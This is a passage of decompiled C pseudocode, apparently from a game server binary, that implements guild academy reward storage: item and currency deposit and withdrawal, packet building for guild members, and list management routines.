v7; // ebx@4 int v8; // eax@4 int v9; // edx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ring->type == 2 ) { v3 = LODWORD(ring->___u8.lot); v4 = LODWORD(v2->garse_Cen); v5 = HIDWORD(v2->garse_Cen); LODWORD(v2->garse_Cen) = v3 + v4; HIDWORD(v2->garse_Cen) = HIDWORD(ring->___u8.lot) + __CFADD__(v3, v4) + v5; } if ( ring->type == 1 ) { v6 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); v7 = LODWORD(ring->___u8.lot) + (*(int (__stdcall **)(int))(**(_DWORD **)(v6 + 112) + 24))(v6 + 8); v8 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); (*(void (__stdcall **)(int, int))(**(_DWORD **)(v8 + 112) + 28))(v8 + 8, v7); } if ( !ring->type ) { v9 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v9 = -1; *(_DWORD *)(v9 + 4) = -1; memset((void *)(v9 + 8), 0, 0x64u); *(_WORD *)(v9 + 108) = 0; *(_BYTE *)(v9 + 110) = 0; *(_WORD *)(v9 + 8) = -1; *(_DWORD *)(v9 + 112) = &itmattcontainer; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); } //----- (0044D6F0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // ebp@1 SHINE_INVEN_SLOT_INFO v3; // ST00_16@4 SHINE_INVEN_SLOT_INFO v4; // ST00_16@6 int v5; // edi@8 ItemTotalInformation *v6; // ebx@10 int v7; // ebp@17 int v8; // eax@17 int v9; // eax@21 unsigned int v10; // ebp@21 int v11; // ebx@21 int v12; // eax@21 char *v13; // [sp-4h] [bp-A0h]@2 ItemTotalInformation *tocell; // [sp+10h] [bp-8Ch]@10 char changeitemcell; // [sp+18h] [bp-84h]@17 char v16; // [sp+20h] [bp-7Ch]@17 int v17; // [sp+88h] [bp-14h]@17 unsigned int cookie; // [sp+8Ch] [bp-10h]@33 int v19; // [sp+98h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( ring ) { if ( (HIBYTE(ring->From.inven.Inven) & 0xFC || (*(_QWORD *)&v3.ItmeReg.binary.gap0[0] = *(_QWORD *)&ring->From.ItmeReg.binary.gap0[0], *(_QWORD *)&v3.ItemID = *(_QWORD *)&ring->From.ItemID, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(v2, v3))) && (HIBYTE(ring->To.inven.Inven) & 0xFC || (*(_QWORD *)&v4.ItmeReg.binary.gap0[0] = *(_QWORD *)&ring->To.ItmeReg.binary.gap0[0], *(_QWORD *)&v4.ItemID = *(_QWORD *)&ring->To.ItemID, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(v2, v4))) ) { v5 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->From.inven.Inven & 0x3FF); if ( v5 ) { v6 = (ItemTotalInformation *)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell( (ItemBag *)v2, ring->To.inven.Inven & 0x3FF); tocell = v6; if ( v6 ) { switch ( ring->Type ) { case 0: case 1: if ( !(ring->From.inven.Inven & 0xFC00) ) ItemInventoryCell::iic_Clear((ItemInventoryCell *)v5); if ( !(ring->To.inven.Inven & 0xFC00) ) goto LABEL_30; break; case 2: if ( !(HIBYTE(ring->From.inven.Inven) & 0xFC) ) { ItemInventoryCell::ItemInventoryCell((ItemInventoryCell *)&changeitemcell); LOBYTE(v19) = 1; ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)&changeitemcell, &ring->ChangeIteminfo); v7 = (*(int (__stdcall **)(int))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v8 = (*(int (__stdcall **)(char *))(*(_DWORD *)v17 + 24))(&v16); ItemInventoryCell::iic_ItemLot((ItemInventoryCell *)v5, v7 - v8); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&changeitemcell); } if ( !(HIBYTE(ring->To.inven.Inven) & 0xFC) ) goto LABEL_30; break; case 3: if ( !(HIBYTE(ring->From.inven.Inven) & 0xFC) ) { ItemInventoryCell::ItemInventoryCell((ItemInventoryCell *)&changeitemcell); LOBYTE(v19) = 2; ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)&changeitemcell, &ring->ChangeIteminfo); v9 = (*(int (__stdcall **)(int))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v10 = ring->To.Lot; v11 = v9; v12 = (*(int (__stdcall **)(char *))(*(_DWORD *)v17 + 24))(&v16); ItemInventoryCell::iic_ItemLot((ItemInventoryCell *)v5, v10 - (v12 - v11)); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&changeitemcell); v6 = tocell; } if ( !(HIBYTE(ring->To.inven.Inven) & 0xFC) ) goto LABEL_30; break; case 4: if ( !(ring->From.inven.Inven & 0xFC00) ) { if ( (ring->To.inven.Inven & 0xFC00) == 9216 ) ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v5, &ring->ChangeIteminfo); if ( !(ring->From.inven.Inven & 0xFC00) && !(ring->To.inven.Inven & 0xFC00) ) { ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v5, v6); LABEL_30: ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v6, &ring->ChangeIteminfo); } } break; default: break; } } v19 = -1; } else { v19 = -1; } v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } else { v2->garse_Activate = 0; v19 = -1; v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther - ring null", 0); v19 = -1; v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie(cookie); } //----- (0044D9F0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v2; // ebp@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v3; // ebx@1 int v4; // edi@4 int v5; // eax@5 ItemInventoryCell *v6; // esi@5 int v7; // eax@11 unsigned int v8; // ecx@11 signed int ringa; // [sp+Ch] [bp+4h]@3 v2 = ring; v3 = this; if ( ring ) { this->garse_Cen = ring->Storage_Cen; ringa = 0; if ( v2->Reward_ItemNum ) { v4 = (int)&v2[1]; do { v5 = (int)v3->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v3, *(_WORD *)(v4 + 3) & 0x3FF); v6 = (ItemInventoryCell *)v5; if ( !v5 || *(_WORD *)(v5 + 8) != *(_WORD *)(v4 + 1) ) break; if ( *(_BYTE *)v4 ) { if ( *(_BYTE *)v4 == 1 ) { v7 = (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v8 = *(_DWORD *)(v4 + 5); if ( v7 <= v8 ) return; ItemInventoryCell::iic_ItemLot(v6, v7 - v8); } } else { if ( (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8) != *(_DWORD *)(v4 + 5) ) return; ItemInventoryCell::iic_Clear(v6); } v4 += 9; ++ringa; } while ( ringa < v2->Reward_ItemNum ); } } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther - ring null", (int)ring); } } //----- (0044DAC0) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(ShineGuildAcademyRewardStorageWithdraw *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { ShineGuildAcademyRewardStorageWithdraw *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_CMD *v3; // edx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageWithdraw::_vftable_; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_Buffer = 0; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_PacketLength = 0; this->sgarsw_GuildNo = ring->gldregnum; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_BufferSize = 69; v2->ShineGuildAcademyRewardStorageWithdrawPacket.pp_Buffer = v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer; *(_WORD *)&this->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[0] = -26509; v2->sgarsw_NetCommand = (NETCOMMAND *)v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer; v2->sgarsw_WithdrawPacket = (PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_CMD *)&v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[2]; this->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[2] = ring->who; this->sgarsw_WithdrawPacket->type = ring->type; v3 = this->sgarsw_WithdrawPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgarsw_WithdrawPacket->item = ring->item; this->sgarsw_WithdrawPacket->slot = ring->slot; this->sgarsw_WithdrawPacket->___u5.lot = ring->___u8.lot; this->sgarsw_WithdrawPacket->storage_cen = ring->storage_cen; this->sgarsw_Why = ring->why; } // 5A4488: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageWithdraw___vftable_)(int, __int16 GuildInven); //----- (0044DB60) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { ShineGuildAcademyRewardStorageWithdraw sgsw; // [sp+4h] [bp-78h]@1 unsigned int cookie; // [sp+6Ch] [bp-10h]@1 int v4; // [sp+78h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(&sgsw, ring); LOBYTE(v4) = 1; List::l_4AllInList(unk_1247FF04, (ListIteratorDefault *)&sgsw); --funcallanalizer.fca_stackpoint; sgsw.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"); __security_check_cookie(cookie); } // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044DC30) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(ShineGuildAcademyRewardStorageDeposit *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { ShineGuildAcademyRewardStorageDeposit *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_CMD *v3; // edx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageDeposit::_vftable_; this->ShineGuildAcademyRewardStorageDepositPacket.pp_Buffer = 0; this->ShineGuildAcademyRewardStorageDepositPacket.pp_PacketLength = 0; this->sgarsd_GuildNo = ring->gldregnum; this->ShineGuildAcademyRewardStorageDepositPacket.pp_BufferSize = 69; v2->ShineGuildAcademyRewardStorageDepositPacket.pp_Buffer = v2->ShineGuildAcademyRewardStorageDepositPacketBuffer; *(_WORD *)&this->ShineGuildAcademyRewardStorageDepositPacketBuffer[0] = -26507; v2->sgarsd_NetCommand = (NETCOMMAND *)v2->ShineGuildAcademyRewardStorageDepositPacketBuffer; v2->sgarsd_DepositPacket = (PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_CMD *)&v2->ShineGuildAcademyRewardStorageDepositPacketBuffer[2]; this->ShineGuildAcademyRewardStorageDepositPacketBuffer[2] = ring->who; this->sgarsd_DepositPacket->type = ring->type; v3 = this->sgarsd_DepositPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgarsd_DepositPacket->item = ring->item; this->sgarsd_DepositPacket->slot = ring->slot; this->sgarsd_DepositPacket->___u5.lot = ring->___u8.lot; this->sgarsd_DepositPacket->storage_cen = ring->storage_cen; this->sgarsd_Why = ring->why; } // 5A44E8: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageDeposit___vftable_)(int, __int16 GuildInven); //----- (0044DCD0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { ShineGuildAcademyRewardStorageDeposit sgsd; // [sp+4h] [bp-78h]@1 unsigned int cookie; // [sp+6Ch] [bp-10h]@1 int v4; // [sp+78h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(&sgsd, ring); LOBYTE(v4) = 1; List::l_4AllInList(unk_1247FF04, (ListIteratorDefault *)&sgsd); --funcallanalizer.fca_stackpoint; sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie(cookie); } // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044DDA0) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(ShineGuildAcademyRewardStorageItemInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v3; // esi@1 this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageItemInfoZonRng::_vftable_; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[0] = 0i64; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[0] = 0i64; this->sgarsiizr_ItemInfo = ring; this->sgarsiizr_Withdraw.who = ring->Who; this->sgarsiizr_Withdraw.type = 0; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[0] = *(_QWORD *)&ring->Charid.n4_name[0]; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[8] = *(_QWORD *)&ring->Charid.n4_name[8]; v2 = this->sgarsiizr_ItemInfo; this->sgarsiizr_Withdraw.item = v2->From.ItemID; this->sgarsiizr_Withdraw.slot = LOBYTE(v2->From.inven.Inven); this->sgarsiizr_Withdraw.___u5.lot = 0i64; this->sgarsiizr_Withdraw.storage_cen = 0i64; this->sgarsiizr_Deposit.who = v2->Who; this->sgarsiizr_Deposit.type = 0; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[0] = *(_QWORD *)&v2->Charid.n4_name[0]; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[8] = *(_QWORD *)&v2->Charid.n4_name[8]; v3 = this->sgarsiizr_ItemInfo; this->sgarsiizr_Deposit.item = v3->From.ItemID; this->sgarsiizr_Deposit.slot = LOBYTE(v3->From.inven.Inven); this->sgarsiizr_Deposit.___u5.lot = 0i64; this->sgarsiizr_Deposit.storage_cen = 0i64; } // 5A4548: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageItemInfoZonRng___vftable_)(int, __int16 handle); //----- (0044DE50) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { ShineGuildAcademyRewardStorageItemInfoZonRng sgsd; // [sp+4h] [bp-64h]@2 unsigned int cookie; // [sp+58h] [bp-10h]@3 int v4; // [sp+64h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( ring ) { ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(&sgsd, ring); LOBYTE(v4) = 1; List::l_4AllInList(unk_1247FF04, (ListIteratorDefault *)&sgsd); sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie(cookie); } // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044DF20) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { ShineGuildAcademyRewardStorageRewardInfoZonRng *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v3; // ecx@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v4; // ecx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageRewardInfoZonRng::_vftable_; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[0] = 0i64; *(_QWORD *)&this->sgarsrzr_ItemCmd.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsrzr_ItemCmd.charid.n4_name[0] = 0i64; this->sgarsrzr_ItemInfo = ring; this->sgarsrzr_CenCmd.who = 3; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[0] = *(_QWORD *)&ring->sCharID.n4_name[0]; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[8] = *(_QWORD *)&ring->sCharID.n4_name[8]; v3 = this->sgarsrzr_ItemInfo; v2->sgarsrzr_CenCmd.type = 2; v2->sgarsrzr_CenCmd.item = 0; v2->sgarsrzr_CenCmd.slot = 0; LODWORD(v2->sgarsrzr_CenCmd.___u5.lot) = LODWORD(v3->Reward_Cen); HIDWORD(v2->sgarsrzr_CenCmd.___u5.lot) = HIDWORD(v3->Reward_Cen); LODWORD(v2->sgarsrzr_CenCmd.storage_cen) = LODWORD(v3->Storage_Cen); HIDWORD(v2->sgarsrzr_CenCmd.storage_cen) = HIDWORD(v3->Storage_Cen); v2->sgarsrzr_ItemCmd.who = 3; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[0] = *(_DWORD *)&v3->sCharID.n4_name[0]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[4] = *(_DWORD *)&v3->sCharID.n4_name[4]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[8] = *(_DWORD *)&v3->sCharID.n4_name[8]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[12] = *(_DWORD *)&v3->sCharID.n4_name[12]; v4 = v2->sgarsrzr_ItemInfo; v2->sgarsrzr_ItemCmd.type = 0; v2->sgarsrzr_ItemCmd.item = v4[1].Start.handle; v2->sgarsrzr_ItemCmd.slot = 0; LODWORD(v2->sgarsrzr_ItemCmd.___u5.lot) = 0; HIDWORD(v2->sgarsrzr_ItemCmd.___u5.lot) = 0; LODWORD(v2->sgarsrzr_ItemCmd.storage_cen) = 0; HIDWORD(v2->sgarsrzr_ItemCmd.storage_cen) = 0; } // 5A454C: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageRewardInfoZonRng___vftable_)(unsigned int guild, __int16 GuildInven); //----- (0044DFD0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { ShineGuildAcademyRewardStorageRewardInfoZonRng sgsd; // [sp+4h] [bp-64h]@2 unsigned int cookie; // [sp+58h] [bp-10h]@3 int v4; // [sp+64h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( ring ) { ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(&sgsd, ring); LOBYTE(v4) = 1; List::l_4AllInList(unk_1247FF04, (ListIteratorDefault *)&sgsd); sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie(cookie); } // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044E0A0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0044E0F0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0044E210) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *v3; // edi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->gldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(v4, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"); } //----- (0044E2C0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *v3; // edi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; 